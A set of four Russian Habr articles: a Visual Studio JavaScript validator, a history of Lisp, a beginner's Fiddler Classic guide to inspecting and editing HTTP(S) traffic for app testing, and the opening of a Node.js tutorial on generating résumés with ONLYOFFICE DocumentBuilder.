Если кратко, то проверять яваскрипт можно с помощью [jslint](http://www.jslint.com/), [jshint](http://www.jshint.com/) и [google closure](http://code.google.com/closure/). Нетрудно догадаться, что у последнего возможности наиболее широкие, и для его интеграции в Visual Studio существует как минимум пара [готовых](http://plovr.com/) [решений](https://code.google.com/p/cc2vs/).
В этой статье я расскажу об еще одной утилите интеграции google closure в Visual Studio, а именно — [jsvalidator](http://jsvalidator.codeplex.com), небольшой open-source проект, который и был мной написан после вышеупомянутого анализа.
Ключевое отличие моей реализации — в простоте интеграции и возможности конфигурирования отображения определенных типов предупреждений.
JsValidator — это утилита, запускаемая по post-build-event'у с json-like конфигурационным файлом, проверяющая яваскрипт с помощью java-библиотеки [google closure](http://closure-compiler.appspot.com/home). Из этого следует и первое требование — для работы утилиты необходима установленная на компьютере java (с java.exe добавленным в системные пути (system PATH)).
После интеграции утилиты на каждый билд в вашей Visual Studio будет нечто вроде:
(в данном случае утилита сообщает нам о необъявленной переменной *asd*, по двойному клику на ошибке откроется js-файл на строчке с ошибкой, как мы и привыкли).
**Для интеграции jsvalidator'a в проект достаточно установить nuget-пакет [JsValidator](https://nuget.org/packages/JsValidator/).** Если вы не используете нугет, то можно все шаги, которые пакет сделает автоматически, проделать вручную:
1. Скачать [бинарники](http://jsvalidator.codeplex.com/releases/) библиотеки и распаковать например в папку $(SolutionDir)/JsValidatorBin.
2. Создать конфигурационный файл в ASP.Net проекте (например, в *Scripts/jsvalidator/config.js*). В простейшем случае он может выглядеть так:
```
{ "inputs": [ "../_test.js" ] }
```
Путь к файлу *\_test.js* может быть заменен на путь к любому js-файлу вашего проекта (или папке с js-файлами). ***Все пути должны указываться относительно расположения конфигурационного файла config.js.***
3. Добавить JsValidator как post-build-event (Project/Properties/Build events/Post-build event command line) к вашему asp.net проекту. Строка post-build-event'a может выглядеть так:
```
"$(SolutionDir)JsValidatorBin\jsvalidator.exe" "$(ProjectDir)Scripts\jsvalidator\config.js"
```
(если вы распаковывали jsvalidator в пути отличные от примеров, то пути нужно будет исправить)
4. Вот и всё! Скомпилируйте ваш проект и убедитесь, что в ваших яваскриптах ошибок нет :)
Выше я привел пример простейшего конфигурационного файла, состоящего из одной строчки. Реальные конфиги не намного сложнее. Вот пример одного из них:
```
{
inputs: [ "../../Scripts/zw_Runtime.js", "../../Scripts/UC/", "../../Scripts/jquery.common.js"],
externs: ["//jquery-1.7.js"],
IgnoreAllWarnings: "true",
Warnings: [".* is never defined"]
}
```
Расшифрую, за что отвечает каждый из параметров:
* **inputs (массив строк)**. Специфицирует пути к файлам/папкам для проверки. Самая простая, очевидная и нужная опция :)
* **externs (массив строк)**. Специфицирует внешние библиотеки, необходимые для валидации (jquery, mootols, и.т.д.). Аналог параметра [externs](http://code.google.com/intl/ru-RU/closure/compiler/docs/api-tutorial3.html#externs) в google closure. У гугла есть ряд [«документированных» версий](http://closure-compiler.googlecode.com/svn/trunk/contrib/externs/) популярных библиотек, подготовленных к подключению в качестве внешних. Библиотеки из этого источника могут быть использованы с помощью префикса "//". В примере выше мы говорим, что в наших файлах возможно использование библиотеки jquery версии 1.7.
* **IgnoreAllWarnings (bool)**. «true» или «false» (по умолчанию — «false»). Найденные «предупреждения» игнорируются (выводятся только найденные «ошибки)
* **Warnings (массив строк)**. Список регекспов; подходящие под регексп „предупреждения“ переводятся в статус „ошибок“.
Хочется заострить внимание на параметре **Warnings**, потому что именно он отсутсвовал в других реализациях и подтолкнул к написанию велосипеда.
Google Closure сортирует все „подозрительные области“ яваскрипта на ошибки и предупреждения. Подчас хочется некоторые предупреждения перевести в статус ошибок, чтобы их невозможно было игнорировать (warning'ов генерируется обычно достаточно много, и смысла анализировать/исправлять их все обычно нет). Для этого и существует опция **Warnings**. Как сказано выше, если предупреждение подпадает под один из включенных регекспов, оно переходит в категорию „ошибка“.
Есть еще некоторые опции, которые не упомянуты в примере, но могут оказаться полезными:
* **TreatNoJavaAsWarning (bool)**. Значения „true“ или „false“ (по умолчанию — »false", то есть при отсутствии на компьютере установленной Java будет сгенерирована ошибка)
* **IgnoreWarnings (массив строк)**. Список регекспов, подходящие под регексп «предупреждения» отметаются.
Есть и некоторые другие параметры, которые зеркалируют параметры closure compiler'a. Изменение этих параметров обычно не требуется, они описаны детальнее на [странице проекта](http://jsvalidator.codeplex.com/) (CompilationLevel, WarningLevel, Ccargs).
Если кому-то пригодится — отпишите, пожалуйста, success-story и используемые параметры конфига :) | https://habr.com/ru/post/134344/ | null | ru | null |
# Первый древнейший: в чём уникальность языка программирования LISP
В этой статье мы поговорим об одном из самых старых языков программирования ― Lisp. Несмотря на свой внушающий уважение возраст, он всё ещё находится в строю и заставляет переосмысливать всю теорию программирования. Так что же это за язык и чем он примечателен?
***Лисп, или LISP*** *(от англ. LISt Processing language — «язык обработки списков», современное написание: Lisp)* — семейство языков программирования, программы и данные в которых представляются в виде списков.
Существует альтернативная расшифровка названия LISP: *Lots of Irritating Superfluous Parentheses* (*«Много раздражающих лишних скобок»*) — намёк на особенности синтаксиса языка.
Шутливое «Десятое правило Гринспена» гласит: *«Любая достаточно сложная программа на Си или Фортране содержит заново написанную, неспецифицированную, глючную и медленную реализацию половины языка Common Lisp».*
Правило, несмотря на свою юмористичность, выражает важную мысль. При программировании на традиционных императивных языках разработчики тратят очень много времени на реализацию. Результат — худшее качество тех возможностей, которые функциональным языкам, в частности Лиспу, присущи изначально.
Источник фото: https://upload.wikimedia.org/wikipedia/commons/thumb/4/49/John\_McCarthy\_Stanford.jpg/1024px-John\_McCarthy\_Stanford.jpg
Создан был этот язык в конце 1950-х годов математиком Джоном Маккарти. Принято считать, что именно он положил начало понятию «искусственного интеллекта».
Во время работы над одним из своих исследовательских проектов ему пришлось разработать совершенно новый язык программирования, содержащий ряд концепций, до этого не применявшихся.
### 1. Условные конструкции
If/then/else и построения из них впервые появились именно в языке Lisp и только затем были позаимствованы другими языками.
### 2. Функции
В этом языке функции находятся на том же уровне, что и строки или числа.
### 3. Рекурсия
Несмотря на свою математическую природу и то, что она была известна гораздо раньше появления языка Lisp, впервые она была реализована именно в нём.
### 4. Переосмысление переменных
Все переменные в рамках языка Lisp представляют собой указатели.
### 5. Сборка мусора
Механизм эффективного автоматического контроля памяти, который стирает из неё ненужные объекты, впервые появился именно в Lisp-е.
### 6. Вся программа построена на основе выражений
Стандартная Lisp-программа представляет собой деревья выражений, которые могут возвращать конкретные значения.
Если язык полностью состоит из выражений, это позволяет составлять их любимым способом:
```
(if foo (= x 1) (= x 2))
```
либо
```
(= x (if foo 1 2))
```
### 7. Символьный тип (A symbol type)
Символы отличаются от строк, что позволяет проверить на равенство, сравнив указатели.
### 8. Нотация для кода (A notation for code)
Подразумевает использование деревьев из символов.
### 9. Весь язык всегда доступен (The whole language always available)
Нет явного различия между временем чтения, компиляции и выполнения. Можно компилировать или запускать код во время чтения, читать или запускать кода, пока идёт процесс компиляции, или читать, или компилировать код во время выполнения.
Чем ещё примечателен этот язык? Дело в том, что каждый язык обладает развитой библиотекой инструментов для реализации многих концепций. Любой практикующий программист может воспользоваться либо уже имеющимися в наличии классами, переменными, константами и функциями, либо написать свои собственные реализации.
Lisp же, помимо этого, предоставляет возможности расширения синтаксиса, для чего в нём реализована система макросов. Например, Пол Грэм называет макросы «программами, которые пишут программы». Есть мнение, что Lisp более гибкий, чем обычные языки программирования, так как позволяет неожиданным и творческим образом сочетать элементы, что недоступно никакому другому языку.
Например, рассмотрим минимальную исполняемую программу, которая компилируется и выполняется, даже если при этом ничего существенного не происходит. Начнём с C/C++. В этих языках «точкой входа» — местом, где программа начинает выполняться — является функция main (что значит «основная»):
```
main(){}
```
Круглые скобки после имени функции указывают на то, что мы определяем функцию, а не переменную (подробнее об этом позже), фигурные скобки содержат тело функции, инструкции, которые будут выполнены, когда функция будет вызвана. Пока оставим тело функции пустым. На самом деле написанный выше код упрощён. Он будет компилироваться и выполняться, но так определять можно только единственную функцию — main. Дело в том, что всякая функция имеет тип (это он совпадает с типом вычисляемого результата). Если функция ничего не возвращает, её тип void («ничто»), и он обязательно указывается перед именем функции. Если же тип функции не указан, то подразумевается тип int (сокращение от integer, что значит «целый», т. е. целое число), и тогда функция обязана возвращать целое значение инструкцией return. Функция main имеет целый тип, так что полная версия будет такой:
```
int main()
{
return 0;
}
```
Напишем то же самое на Java. Как и в C/C++, точкой входа является функция main, но в Java не существует функций вне классов. Таким образом, нам нужно определить класс, членом которого является функция main (функция, принадлежащая классу, называется методом):
```
public class Minimal {
public static void main(String[] args) {}
}
```
В первой строке мы определили класс по имени Minimal, во второй строке мы определили пустой метод main. В отличие от C/C++, в Java все ключевые слова обязательны при определении классов (public class) и методов (public static void). Кроме того, в Java метод main всегда получает массив строк (об этом позже).
Теперь напишем то же самое на Lisp:
```
T
```
Это не опечатка. Вся программа состоит из единственной буквы T, которая в Lisp означает истинное значение (сокращение от truth — «истина»). Что же произошло? Во-первых, в Lisp всякое выражение возвращает некоторый результат. Даже если выражение не является вызовом функции и ничего не вычисляет. В частности, любое значение вычисляется само в себя. Во-вторых, точкой входа является то, что пользователь запускает, будь то функция или значение. Мы «запустили» истину, и она, ничего не вычислив, возвратила саму себя.
**Жемчужины Lisp:**
* не обязывает программиста определять элементы программы (функции, классы и др.) без необходимости;
* любая сущность Lisp может быть запущена. При этом она возвращает осмысленный результат. В частности это означает, что Lisp не делает разницы между выражениями (expression) и инструкциями (statement), его синтаксис не нуждается в специальном символе завершения инструкции, типа ; в C/C++/Java или разделения между инструкциями в Pascal.
Говоря об этом языке, нельзя не вспомнить и о макросах. Макрос в Lisp — это своего рода функция, которая получает в качестве аргументов формы или объекты и, как правило, генерирует код, который затем будет скомпилирован и выполнен. Это происходит до выполнения программы во время фазы, которая называется развёрткой макросов (macroexpansion). Проще говоря, с помощью макросов можно сделать так, чтобы код Lisp действовал как любой другой язык программирования… Воистину поразительно!
Именно поэтому он получил большую популярность среди хакеров в своё время. Многие отмечают ещё и то, что преимущества этого языка далеко не всегда очевидны тем, кто пытается его использовать, однако более умудрённые программисты говорят, что основной его пользой является опыт переосмысления информатики и программирования в целом. Новый опыт получает любой программист, столкнувшийся с Lisp.
Так как Lisp основан на списках, оператор может представлять собой список элементов, каждый из которых может быть представлен тоже списком либо конечным неделимым элементом, получившим название «атом». В качестве такого атома может выступать, например, какое-либо значение в виде числа или символа.
Lisp является языком системного программирования для так называемых лисп-машин, производившихся в 1980-е годы, например, фирмой Symbolics.
***Lisp-машина***— универсальная вычислительная машина, архитектура которой оптимизирована для эффективного выполнения программ на языке *Lisp*.
Эквивалентна абстрактной машине Тьюринга (и обычному персональному компьютеру) по критерию полиноминальной сводимости.
Несмотря на то, что лисп-машины никогда не были широко распространены, многие популярные сейчас идеи и программные технологии были впервые разработаны с помощью лисп-машин. Так, на машинах, которые использовались в исследовательском центре Xerox PARC, были реализованы:
* сборка мусора;
* лазерная печать;
* многооконный графический интерфейс пользователя;
* растровая графика высокого разрешения;
* рендеринг;
* множество сетевых инноваций.
*Lisp*-машины предоставляли широкие возможности по проведению экспериментальных разработок в области компьютерных наук. На базе разработок таких машин было создано новое поколение инженерных рабочих станций.
Любой язык программирования является живой субстанцией, которая постоянно развивается и совершенствуется. Не был исключением и язык Lisp. Так, ряд лабораторий, исследовавших вопросы искусственного интеллекта, начали предлагать свои интерпретации языка. В результате это привело к появлению ряда диалектов языка Lisp. В период с 1960-х по 1980-е годы образовались такие диалекты, как MacLisp, Interlisp, PSL, Franz Lisp, Scheme, Zetalisp, NIL и T.
Стандартизация языка
--------------------
К первой половине 1980-х годов в лисп-сообществе сложилась ситуация, которую некоторые авторы сравнивали с Вавилонской башней: параллельно существовали и развивались более десятка крупных диалектов Лиспа, общее же число несовместимых между собой реализаций было существенно больше. Похожая ситуация наблюдалась в это время в большинстве распространённых языков программирования, в случае же с Лиспом ситуация усугублялась тем, что язык изначально был разработан как произвольно расширяемый, что спровоцировало развитие его возможностей в разных диалектах в существенно разных направлениях.
На начальном этапе, когда *Lisp* использовался почти исключительно в лабораториях и институтах, многообразие диалектов не сильно мешало и даже было отчасти полезным, поскольку способствовало быстрому развитию языка. Но к 1980-м годам, когда появилась потребность в промышленных разработках на Лиспе, обилие реализаций стало тормозом, так как приводило к массовому дублированию разработок и рассредоточению сил на поддержку множества лисп-систем.
Попытки стандартизации Lisp предпринимались почти с момента его появления (первое предложение по стандартизации датируется 1960 годом), но из-за разобщённости и значительных различий в потребностях заинтересованных групп разработчиков ни одно из предложений не было принято. Во второй половине 1970-х годов Министерство обороны США провело огромную работу по анализу ситуации в программных разработках военного назначения, после чего организовало конкурс на разработку нового языка высокого уровня для встроенных систем, которым стал язык Ада. Однако Ада изначально не предназначалась для искусственного интеллекта и символьной обработки, вследствие чего для таких разработок военное ведомство США оказалось вынуждено допустить к использованию более подходящий язык. Поэтому Министерство обороны США оказало организационную и финансовую поддержку формированию промышленного стандарта языка, который и приняло в качестве дополнительного средства разработки ПО для военных применений.
Первоначальный вариант стандарта начали готовить в Университете Карнеги — Меллона на основе внутреннего проекта Spice Lisp, также первоначально нацеленного на разработку лисп-системы для рабочей станции. Проектируемый стандарт с самого начала получил наименование Common Lisp («Общий Lisp»), подчёркивающее цель разработки — получить единый базовый язык, на основании которого можно было бы создавать программно-совместимые системы. В разработке и редактировании стандарта приняли участие около 80 специалистов из университетов, лабораторий и фирм США. Процесс разработки впервые происходил дистанционно, с помощью компьютерной сети ARPANET, через которую было передано свыше 3000 сообщений. Процесс разработки стандарта завершился в 1984 году. Его результат был зафиксирован в первом издании руководства Common Lisp: the Language Гая Стила.
Для чего применяется
--------------------
Сферы применения языка Lisp многообразны: наука и промышленность, образование и медицина, от декодирования генома человека до системы проектирования авиалайнеров. Первые области применения языка Лисп были связаны с символьной обработкой данных и процессами принятия решений. Наиболее популярный сегодня диалект Common Lisp является универсальным языком программирования. Он широко используется в самых разных проектах: интернет-серверы и службы, серверы приложений и клиенты, взаимодействующие с реляционными и объектными базами данных, научные расчёты и игровые программы.
Существуют специализированные диалекты Lisp, предназначенные для конкретных применений, например, Game Oriented Assembly Lisp (GOAL). Он создан для написания высокодинамичных трёхмерных игр, на нём целиком написана серия игр Jak and Daxter.
Одно из направлений применения Lisp — его использование в качестве скриптового языка, автоматизирующего работу в ряде прикладных программ, в том числе:
* AutoLISP — скриптовый язык САПР AutoCAD;
* Emacs Lisp — встроенный язык текстового редактора Emacs, использованный как в реализации самого редактора, так и в разработке дополнений к нему, что даёт неограниченные возможности расширения функциональности;
* Interleaf Lisp — скриптовый язык в издательском программном обеспечении Interleaf/Quicksilver;
* Nyquist — скриптовый язык в аудиоредакторе Audacity;
* Rep (близок к Emacs Lisp) — язык настроек и расширений в оконном менеджере Sawfish;
* SKILL — скриптовый язык САПР Virtuoso Platform компании Cadence Design Systems;
* TinyScheme — один из скриптовых языков в свободном графическом процессоре Gimp версии 2.4 или более;
* ICAD — система «знаний на основе знаний», которая позволяет пользователям кодировать знания дизайна и опыт инженерного проектирования.
Что дальше?
-----------
В случае Лиспа сложно провести чёткую грань между диалектом и языком-потомком, так как различные диалекты Лиспа, созданные за более чем полвека его существования, могут существенно различаться и быть несовместимыми. С другой стороны, Лисп просто в силу возраста оказал то или иное влияние на огромное число языков, причём не только функциональных. Если считать прямыми потомками Лиспа только языки, сохранившие общую структуру программы, но синтаксически несовместимые с Лиспом, то можно выделить следующие:
* **Scheme** — разработанный в 1976 вариант Lisp, который и сегодня используется в обучении программированию и в исследовательских целях, а также применяется в качестве встраиваемого языка.
* **Racket** — потомок Scheme, разрабатываемый с 1994 года и находящийся в использовании по сей день. Мощная расширяемая lisp-система, включающая в себя все современные средства поддержки программирования и большой массив библиотек.
* **Clojure** — созданный в 2007 году на основе Lisp язык функционального программирования, интегрированный с платформой Java (программы транслируются в байт-код и работают под управлением JVM). Унаследовав основные черты Lisp, язык имеет целый ряд синтаксических отличий и нововведений. Интеграция с Java-платформой даёт возможность непосредственно применять весь массив накопленных библиотек для данной платформы. Также Clojure имеет встроенную поддержку параллельного программирования, причём является одним из немногих языков, поддерживающих механизм транзакционной памяти.
* **Лого** — язык и интерактивная среда, разработанные в 1967 году Сеймуром Пейпертом и Идит Харель для обучения детей дошкольного и младшего школьного возраста основным концепциям программирования. Язык имеет лисп-подобный списочный синтаксис, в котором устранена необходимость использования большинства скобок. Поддерживается также и императивная форма программы, напоминающая Бейсик. Повторение, кроме рекурсии, может быть реализовано с помощью конструкции цикла с фиксированным числом итераций. Характерная особенность среды интерпретатора Лого — поддержка визуального агента («черепашки»), изображаемого в виде пиктограммы на графическом поле (в окне).
Завершая рассказ, можно сказать, что Lisp до сих пор остаётся одним из основных использующихся языков. Применяется он и как средство обычного промышленного программирования, от встроенных скриптов до веб-приложений массового использования, хотя популярным его назвать нельзя: в рейтингах популярности языков он стабильно занимает примерно 29-30 места. | https://habr.com/ru/post/655509/ | null | ru | null |
# Первые шаги с Fiddler Classic
Привет! После знакомства с [Charles Proxy](https://habr.com/ru/company/youla/blog/527648/) большинство из читателей захотело узнать больше про инструменты мониторинга и анализа HTTP/HTTPS трафика. Расскажем про популярный у многих тестировщиков Fiddler. Описать все возможности Fiddler в одной статье вряд ли получится, поэтому давайте рассмотрим базовые возможности, которыми мы пользуемся каждый день.
Fiddler это:
> Кроссплатформенное приложение прокси-сервера для отладки HTTP. Он позволяет пользователю просматривать HTTP, HTTPS и активированный трафик TCP-порта, доступ к которому осуществляется с локального компьютера, на него или через него. Сюда входят запросы и ответы, включая HTTP-заголовки и метаданные (например, файлы cookie, кэширование и кодирование информации), с функциями, предназначенными для помощи разработчикам и тестировщикам в анализе соединений и обмене сообщениями.
Первые шаги
-----------
### 1. Установка и запуск
Для начала необходимо [загрузить](https://www.telerik.com/download/fiddler) и установить приложение.
Если у вас операционная система MAC или Linux, то для этого Вам необходимо будет перейти в соответствующий раздел для загрузки специальной версии [Fiddler Everywhere](https://www.telerik.com/download/fiddler-everywhere). В данной статье мы будем рассматривать работу с Fiddler Classic для ОС Windows.
### 2. Выбор браузера для сниффинга
Для начала давайте выберем какой браузер мы хотим проксировать. В качестве примера мы выберем браузер Mozilla Firefox. Для этого перейдем во вкладку **Browse** -> далее выбрать нужный нам браузер.
### 3. Начинаем сниффить трафик
После того, как мы выбрали нужный нам браузер, нам необходимо установить сертификат. Для этого перейдем во вкладку **Tools** -> **Options**.
В открывшемся диалоговом окне нам необходимо выбрать вкладку **HTTPS**.
Далее необходимо выбрать чекбокс «**Decrypt HTTPS traffic**». Далее разрешить установку сертификата.
После того, как мы установили сертификат, давайте в браузере откроем, например, сайт Юлы. В разделе слева мы видим все запросы к хосту `api.youla.io` и не только. Среди запросов выберем нужный нам запрос, например на выдачу всех товаров: `https://api.youla.io/api/v1/products`
Для того, чтобы декодировать ответ, необходимо нажать на «**Response body is incoded. Click to decode.**».
### 4. Настройка прокси на Android
Чтобы отображались запросы приложения Android, вам необходимо разрешить удаленное подключение. Для этого перейдем во вкладку **Tools** -> **Options**. В открывшемся диалоговом окне нам необходимо выбрать вкладку **Connections**.
Далее необходимо выбрать чекбокс «**Allow remote computers to connect**» и «**Capture FTP requests**». Fiddler теперь прослушивает порт 8888 (это порт по умолчанию, вы можете изменить его из приведенной выше настройки). Для применения настроек, нажимаем «ОК» и перезапускаем Fiddler.
Теперь нам необходимо настроить наше Android устройство. Возьмите в руки телефон, откройте **Свойства сети** → **Название сети WiFi** → **Прокси-сервер** → **Вручную** → **Имя хоста**: \*ваш IP\* / **Порт**: \*8888\* → Сохраните измененные свойства сети (указывается IP адрес вашего ПК, на котором установлен Fiddler).
Перейдем по ссылке `http://ipv4.fiddler:8888` и скачаем FiddlerRoot certificate, далее начнется автоматическая загрузка сертификата. Откройте его, задайте имя сертификата, и теперь у вас есть доступ к трафику Android-приложения.
В качестве примера, перейдем в приложение Юла и откроем карточку любого товара. В левой части экрана найдем запрос на карточку товара, это: `https://api.youla.io/api/v1/product/5fc60e5e211e77413a1dc323`. А в правой верхней части находится – request запроса, в правой нижней – response. Не забываем нажать на «**Response body is incoded. Click to decode.**», чтобы декодировать ответ.
### 5. Настройка прокси на iOS
Возьмите в руки iPhone, откройте **Свойства сети** → **Название сети WiFi** → **Прокси-сервер** → **Вручную** → **Имя хоста**: \*Наш IP\* / **Порт**: \*8888\* → Сохраните измененные свойства сети.
Теперь необходимо перейти по ссылке `http://ipv4.fiddler:8888`, скачать FiddlerRoot certificate, «**Разрешить**» загрузку профиля конфигурации.
Далее перейдите в **Настройки** → **Профиль загружен** → **Установить**.
Затем перейдите в **Настройки** → **Основные** → **Об этом устройстве** → **Доверие сертификатам** → найдите установленный сертификат и сделайте его «**Доверенным**».
В качестве примера, перейдем в приложение Юла и откроем карточку любого товара. В левой части экрана найдем запрос на карточку товара, это: `https://api.youla.io/api/v1/product/5fc60e5e211e77413a1dc323`. А в правой верхней части находится – request запроса, в левой нижней – response. Для того, чтобы декодировать ответ, необходимо нажать на «**Response body is incoded. Click to decode.**».
### Операции над запросами
Справа, в окне, где находятся request и response, располагаются дополнительные инструменты:
**Statistics** — позволяет получать различные статистики как по одному запросу, так и по пачке выделенных;
**Inspectors** — дает возможность просматривать в различном виде заголовки и данные запроса;
**Filters** — позволяет следить за конкретными запросами;
**Timeline** — визуальное представление выполненных запросов на временной шкале.
### Подмена данных в Fiddler Classic
Представим, что нам надо протестировать на клиенте верстку. Нужно проверить, как будет отображаться большое количество бонусов у пользователя. Один из вариантов, который многие предложат: изменить в БД количество бонусов и проверить на клиенте. Да, вы будете правы! Однако на сервере может быть кэш, и необходимо подождать какое-то время, пока количество бонусов не обновится, либо просто подключиться к самой базе и выполнить запрос — это занимает определенное время. Есть вариант проще: изменить ответ от сервера! В Fiddler Classic есть несколько вариантов подмены данных, рассмотрим некоторые из них:
#### 1.1 Automatic Breakpoints
Breakpoint — это некая точка остановки запроса. Когда обнаруживается запрос из заданного списка, он отображается справа и с ним можно взаимодействовать.
Для начала, давайте поставим breakpoint на request, т.е на запрос. Перейдем в **Rules** -> **Automatic Breakpoints** и выберем «**Before requests**»
Выполним запрос на пользователя `https://api.youla.io/api/v1/user/5e6222bbbedcc5975d2375f8` и после выполнения запроса с клиента, в нашем случае это android приложение Юла, request запроса отображается справа. Мы его можем отредактировать.
Для того, чтобы отправить запрос, нажмем **Run to Completion**. Наш запрос отправится на сервер.
Но мы, например, хотим изменить количество бонусов у пользователя на клиенте. Для этого нам необходимо изменить ответ от сервера. Поэтому выберем «**After Responses**» в **Rules** -> **Automatic Breakpoints**.
У нас имеется приложение и профиль пользователя, у которого сейчас 45 бонусов на счету:
Запрос, в котором приходит это количество бонусов: `https://api.youla.io/api/v1/user/5e6222bbbedcc5975d2375f8`
В левой части экрана мы видим ответ от сервера.
Найдите нужный параметр — «bonus\_cnt»:45. Далее измените значение параметра bonus\_cnt, например, на 1 000 000 бонусов, и нажмите «**Run to Completion**».
На клиенте отобразится новое количество бонусов. Мы богаты!
#### 1.2 AutoResponder
**AutoResponder** — это некая точка остановки запроса. Когда обнаруживается запрос из заданного списка, он отображается справа и с ним можно взаимодействовать.
Выберем необходимый нам запрос и перетащим его в правую часть.
После перетаскивания будет выглядеть так:
Далее нам надо изменить правило, для этого изменим:
`METHOD:PUT EXACT:https://api.youla.io/api/v1/user/5e6222bbbedcc5975d2375f8?adv_id=99d548bc-0ca0-434e-b016-24611313d9de&app_id=android%2F10777&uid=85c9a921c27fb0e8&usr_latitude=55.9332685&usr_longitude=37.5032966×tamp=1607977265`
На:
`REGEX:.+/user/5e6222bbbedcc5975d2375f8*`
Нам не важна часть до «/user/5e6222bbbedcc5975d2375f8» и после, сохраним, нажав **Save**. Далее правой клавишей мыши по запросу –> **Edit Response**.
В открывшемся окне идем в RAW, изменяем ответ:
Изменим значение с «45» на «1000000» бонусов:
Сохраним измененный ответ, нажав «Save» и перезапрашиваем экран «Профиль пользователя». Мы богаты:
### Моделирование скорости
Данная возможность предоставляется в скрипте. Вы можете изменить его поведение, перейдя в настройки **Rules** -> **Customize Rules** и отредактировав значения блока скрипта:
`if (m_SimulateModem) {
// Задержка отправки на 300 мсек на каждый загруженный КБ.
oSession ["просачивание-задержка"] = "300";
// Задержка приема 150 мс на загруженный КБ.
oSession ["задержка-отклик"] = "150";
}`
Для включения данной функции перейдите в **Rules** -> **Performance** и выберите пункт «**Simulate Modem Speeds**».
### Конструирование запросов
Представим, что нам нужно самостоятельно отправить запрос и посмотреть ответ. Для данной задачи есть инструмент Request Builder. С помощью данного инструмента можно самостоятельно конструировать HTTP-запросы. В качестве примера давайте запросим товары с экрана «Главная» в сервисе Юла.
Сначала выберем нужный нам метод, в нашем случае это GET запрос. Далее составим сам запрос: `http://api.youla.io/api/v1/products`
Следующим шагом — выполним наш запрос, нажав Execute. В левой части мы видим выполненный запрос на товары. Выберем данный запрос и через инструмент Inspectors посмотрим запрос и ответ:
### Резюме
В этой статье мы постарались описать часть функций Fiddler Classic, которыми пользуются тестировщики мобильных и web приложений. На этом всё, не останавливайтесь на одном инструменте, пробуйте разное. А если остались вопросы — скорее пишите в телеграм-канал [@qa\_chillout](https://t.me/qa_chillout) | https://habr.com/ru/post/533138/ | null | ru | null |
# Генерация документов с помощью ONLYOFFICE DocumentBuilder
Привет, Хабр.
Я хочу рассказать об утилите под названием DocumentBuilder, которая позволяет генерировать документы, таблицы и презентации, а также показать, как можно его использовать для решения ваших задач, на примере создания резюме из шаблонов.
Работает билдер следующим образом: вы пишете код на js, используя специальные методы из документации, отдаете его утилите, а она собирает документ. Или не собирает, если есть ошибки.
Использовать билдер целесообразно, если вы хотите решить задачи следующего вида:
* Нужно сделать много документов с небольшими вариациями или документы на основе большого количества данных.
* Нужно встроить генерирование документов в какой-либо сервис.
Существует сервисы, позволяющие создавать резюме: пользователь заполняет необходимые поля, а система генерирует документ и отдает пользователю. Это и будет примером того, как можно использовать билдер.
В качестве инструментов буду использовать Node.js (express).
План:
1. Пользователь вводит данные в форму на странице в браузере, форма отправляется на сервер.
2. На сервере Node.js создает на основе пользовательских данных скрипт для билдера.
3. Node.js отдает скрипт билдеру.
4. Билдер делает с помощью скрипта документ.
5. Node.js возвращает пользователю ссылку на документ.
Создание формы
--------------
Для начала создадим форму, в которую пользователь будет вводить свои данные. В форме будет 8 полей: «Full name», «Phone number», «email», «profile», «degree», «university», «location», «year», «skill». Поле skill можно клонировать.
Создаем файл index.html, и добавляем в него код шаблона.
```
+
```
Здесь я использую две функции: add\_skill\_by\_enter(event) и add\_skill(). Они нужны, чтобы добавлять несколько полей по нажатию кнопки + или Enter. Сами эти функции опишу чуть позже.
Добавляем кнопку для отправки формы на сервер:
```
Send
```
Теперь напишем функции для работы с формой.
Первая функция — add\_skill()
```
add_skill = () => {
const newSkill = document.getElementById("new-skill");
if (newSkill.value === '') {return; } // ничего не делаем, если в поле не введены данные
const div = document.createElement("div"); .//внешний div
const span = document.createElement("span"); // название навыка
const button = document.createElement("button"); // кнопка удаления навыка
span.innerText += newSkill.value; // добавляем в span введенный текст
newSkill.value = ''; // обнуляет поле с названием способности
newSkill.focus(); // возвращаем фокус в поле с названием навыка
button.innerText += "-";
button.onclick = () => { // добавляем действие на кнопку удаления
div.remove();
};
div.appendChild(span); // добавляем span в div
div.appendChild(button); //добавляем кнопку удаления
document.getElementsByClassName('skills')[0].appendChild(div); // добавляем объект на страницу
};
add_skill_by_enter()
add_skill_by_enter = (event) => {
if (event.code === "Enter") { // добавляем элемент, только если нажали на кнопку enter
add_skill();
}
};
```
Добавляем простую функцию для сбора данных из полей и отправки их на сервер.
```
get_skill_values = () => {
const skills = [];
if (document.getElementById('new-skill').value !== '') {
skills.push(document.getElementById('new-skill').value);
}
Array.from(document.getElementsByClassName('skillfield')).forEach(current_element => {
skills.push(current_element.innerHTML);
});
return skills;
};
sendForm()
sendForm = () => {
fetch('/', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
userData: {
fillName: document.getElementById('fill-name').value,
phoneNumber: document.getElementById('phone-number').value,
email: document.getElementById('email').value,
profile: document.getElementById('profile').value,
education: {
degree: document.getElementById('degree').value,
university: document.getElementById('university').value,
location: document.getElementById('location').value,
year: document.getElementById('year').value,
},
skills: get_skill_values()
}
})
}).then(res => res.json())
.then(response => {
location.replace('/' + response.filename); // скачиваем файл, который будет доступен по этой ссылке
})
.catch(error => console.error('Error:', error));
};
```
Серверная часть для работы с формой
-----------------------------------
Серверную часть пишу на express. Подключение всех библиотек, конфигурация сервера и описание get и post методов выглядит так:
```
const path = require('path');
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
app.use(bodyParser.json());
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname + '/index.html'));
});
app.post('/', (req, res) => {
// сюда допишем потом функцию для сборки файла
});
app.listen(3000, () => console.log(`Example app listening on port ${3000}!`));
```
Запускаем express:
`node main.js`
Открываем в браузере адреc:
`http:localhost:3000`
Видим созданную форму. Заполняем ее произвольными данными:
Получаем следующий json:
```
{"userData":{"fillName":"Rotatyy Dmitryi","phoneNumber":"89879879898","email":"flamine@list.ru","profile":"Hi, my name is Joe\nAnd I work in a button factory\nI got a wife and two kids\nOne day, my boss says, “Joe, are you busy?”\nI said, “no”\n“Then push this button with your right hand”","country":"Russia","city":"Nizhniy Novgorod","education":{"degree":"Master of Pupets","university":"Nizhny novgorod state technical university","location":"Nizhniy Novgorod","year":"2015-05-02"},"skills":["apple.js","vintage.js","zerg.js","css","html","linux"]}};
```
Теперь нужно написать скрипт для билдера. Я взял за основу шаблон, который предлагает Google Docs (шаблон резюме).
Выглядит этот шаблон так:
Используя эти данные и шаблон, нужно сделать скрипт, с помощью которого билдер создаст документ.
